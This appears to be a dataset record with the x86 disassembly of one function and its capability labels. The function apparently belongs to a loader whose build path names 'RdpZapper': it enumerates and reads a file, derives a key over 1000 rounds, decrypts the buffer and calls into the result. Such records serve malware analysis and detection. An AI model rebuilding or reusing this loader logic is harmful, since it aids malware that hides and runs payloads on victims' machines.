Function at 0x401000
Capabilities:
Enumerate files on windows
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3ec
mov eax, dword [0x42b040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov eax, ecx
lea esi, [ebp - 0x158]
xor edi, edi
mov dword [ebp - 0x3dc], eax
xor ebx, ebx
mov dword [ebp - 0x3d4], edi
mov dword [ebp - 0x3e4], ebx
sub esi, eax
mov al, byte [ecx]
mov byte [esi + ecx], al
inc ecx
test al, al
jne 0x401036
mov eax, dword [0x42c70c]
test eax, eax
je 0x401094
mov ecx, dword [eax]
test ecx, ecx
je 0x401064
push ecx
call fcn.0040aa2f
mov eax, dword [0x42c70c]
add esp, 4
mov dword [eax], ebx
mov eax, dword [0x42c70c]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x401081
push ecx
call fcn.0040aa2f
mov eax, dword [0x42c70c]
add esp, 4
mov dword [eax + 4], ebx
mov eax, dword [0x42c70c]
test eax, eax
je 0x401094
push eax
call fcn.0040aa2f
add esp, 4
mov dword [0x42c70c], ebx
push 8
call fcn.0040aa4a
add esp, 4
mov dword [0x42c70c], eax
test eax, eax
je 0x4010ae
xorps xmm0, xmm0
movq qword [eax], xmm0
mov edx, dword [ebp - 0x3dc]
push ecx
lea ecx, [ebp - 0x288]
call fcn.00401eb0
mov eax, dword [ebp - 0x3dc]
add esp, 4
test eax, eax
jne 0x4010d5
mov byte [ebp - 0x158], bl
jmp 0x401104
mov ecx, eax
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [esi + ecx - 1], al
test al, al
jne 0x4010d7
cmp byte [ebp - 0x158], 0x22
jne 0x401104
lea eax, [ebp - 0x157]
push 0x22
push eax
call fcn.0040c974
add esp, 8
test eax, eax
je 0x401104
mov byte [eax], bl
lea eax, [ebp - 0x158]
push 0x5c
push eax
call fcn.0040c253
mov edx, eax
add esp, 8
test edx, edx
jne 0x40115c
lea eax, [ebp - 0x158]
push 0x5d
push eax
call fcn.0040c974
mov edx, eax
add esp, 8
test edx, edx
jne 0x40115c
lea eax, [ebp - 0x158]
push 0x2f
push eax
call fcn.0040c253
mov edx, eax
add esp, 8
test edx, edx
jne 0x40115c
lea eax, [ebp - 0x158]
push 0x3a
push eax
call fcn.0040c253
add esp, 8
mov edx, eax
imul eax, dword [0x42d2d8], 0x1f4
lea ecx, [ebp - 0x158]
add eax, 0x42d2e0
cmp ecx, eax
je 0x40118f
test edx, edx
lea eax, [edx + 1]
lea edx, [ebp - 0x158]
cmovne ecx, eax
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x401185
lea eax, [ebp - 0x3d0]
push eax
push dword [ebp - 0x3dc]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401220
nop dword [eax]
test byte [ebp - 0x3d0], 0x10
jne 0x4011d2
push ecx
lea edx, [ebp - 0x158]
lea ecx, [ebp - 0x3a4]
call fcn.00401c40
add esp, 4
test eax, eax
je 0x4011e6
lea eax, [ebp - 0x3d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4011b0
jmp 0x401219
push str._s_s
lea eax, [ebp - 0x3a4]
push eax
lea eax, [ebp - 0x288]
push eax
push 0x57
push str.D:MyProjectsRdpZapperLoaderMain2.c
push str._s_s
lea eax, [ebp - 0x158]
push 0x12c
push eax
call fcn.004023d0
add esp, 0x20
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0
push 3
push 0
push 3
push 0x80000000
lea eax, [ebp - 0x158]
push eax
call dword [0x42f30c]
mov esi, eax
cmp esi, 0xffffffff
je 0x401575
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
mov dword [ebp - 0x3dc], eax
call fcn.0040aa0e
mov eax, dword [ebp - 0x3dc]
add esp, 4
add eax, 1
mov ecx, 0xffffffff
cmovo eax, ecx
push eax
push 0
call fcn.0040a953
add esp, 8
mov dword [ebp - 0x3e8], eax
call fcn.0040a9fb
cmp dword [eax], 0xc
je 0x40156a
mov eax, dword [ebp - 0x3e8]
test eax, eax
je 0x40156a
push 0
lea ecx, [ebp - 0x28c]
push ecx
push dword [ebp - 0x3dc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40156a
mov eax, dword [ebp - 0x3dc]
cmp eax, dword [ebp - 0x28c]
jne 0x40156a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov dword [ebp - 0x3e0], eax
mov ecx, 0x3e8
cmp ebx, 1
je 0x40152a
mov edi, dword [ebp - 0x3e0]
xor eax, eax
mov dword [ebp - 0x3d8], eax
movzx esi, byte [edi + 0x427e60]
mov bl, byte [esi + 0x427e60]
add eax, esi
add eax, edi
cdq
idiv ecx
movzx eax, bl
movzx ecx, byte [edx + 0x427e60]
imul eax, ecx
mov ecx, 0x3e8
add eax, esi
cdq
idiv ecx
mov eax, dword [ebp - 0x3d8]
mov esi, edx
mov bl, byte [esi + 0x427e60]
mov byte [ebp + eax - 0x28], bl
inc eax
add eax, esi
add eax, edi
cdq
idiv ecx
movzx eax, bl
movzx ecx, byte [edx + 0x427e60]
imul eax, ecx
mov ecx, 0x3e8
add eax, esi
cdq
idiv ecx
mov eax, dword [ebp - 0x3d8]
mov esi, edx
mov bl, byte [esi + 0x427e60]
mov byte [ebp + eax - 0x27], bl
add eax, 2
add eax, esi
add eax, edi
cdq
idiv ecx
movzx eax, bl
movzx ecx, byte [edx + 0x427e60]
imul eax, ecx
mov ecx, 0x3e8
add eax, esi
cdq
idiv ecx
mov eax, dword [ebp - 0x3d8]
mov esi, edx
mov bl, byte [esi + 0x427e60]
mov byte [ebp + eax - 0x26], bl
add eax, 3
add eax, esi
add eax, edi
cdq
idiv ecx
movzx eax, bl
movzx ecx, byte [edx + 0x427e60]
imul eax, ecx
mov ecx, 0x3e8
add eax, esi
cdq
idiv ecx
mov eax, dword [ebp - 0x3d8]
mov esi, edx
mov bl, byte [esi + 0x427e60]
mov byte [ebp + eax - 0x25], bl
add eax, 4
mov dword [ebp - 0x3d8], eax
cmp eax, 0x20
jl 0x401307
mov edx, dword [ebp - 0x3dc]
lea eax, [ebp - 0x28]
push ecx
mov ecx, dword [ebp - 0x3e8]
push eax
lea eax, [ebp - 0x3d4]
mov byte [ebp - 8], 0
push eax
call fcn.004029a0
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x401503
push 0
call fcn.0040aa0e
mov edi, dword [ebp - 0x3d4]
add esp, 4
mov eax, ebx
mov ecx, 0xffffffff
add eax, 4
cmovb eax, ecx
push eax
push edi
call fcn.0040a953
mov esi, eax
call fcn.0040a9fb
push ebx
cmp dword [eax], 0xc
cmovne edi, esi
push edi
mov dword [ebp - 0x3d4], edi
lea eax, [edi + 4]
push eax
call fcn.00408650
add esp, 0x14
mov dword [edi], ebx
mov eax, dword [0x42c70c]
mov dword [ebp - 0x3d8], eax
call fcn.00405a10
mov ebx, eax
test ebx, ebx
je 0x40154a
push 0
mov edx, edi
mov dword [edi], 0
call fcn.00404390
mov esi, eax
add esp, 4
test esi, esi
je 0x4014ba
push ecx
mov edx, str._::_0x
mov ecx, esi
call fcn.00401c40
add esp, 4
test eax, eax
je 0x4014ba
test esi, esi
je 0x4014a8
push esi
call fcn.0040aa2f
add esp, 4
push 0
mov edx, edi
call fcn.00404390
mov esi, eax
add esp, 4
test esi, esi
jne 0x401487
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x4014d8
push 0
push 1
push dword [ebp - 0x3d8]
mov edx, edi
xor ecx, ecx
push eax
call fcn.004045a0
add esp, 0x10
mov eax, dword [ebx + 4]
test eax, eax
je 0x4014ef
push 1
push dword [ebp - 0x3d8]
push edi
push 0
call eax
add esp, 0x10
test esi, esi
je 0x4014fc
push esi
call fcn.0040aa2f
add esp, 4
mov ebx, 1
jmp 0x40150c
mov edi, dword [ebp - 0x3d4]
or ebx, 0xffffffff
mov eax, dword [ebp - 0x3e0]
inc eax
mov dword [ebp - 0x3e4], ebx
mov dword [ebp - 0x3e0], eax
cmp eax, 0x3e8
jl 0x4012de
test edi, edi
je 0x401575
push edi
call fcn.0040aa2f
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407618
mov esp, ebp
pop ebp
ret
push edi
call fcn.0040aa2f
mov eax, dword [ebp - 0x3e4]
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407618
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x401575
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407618
mov esp, ebp
pop ebp
ret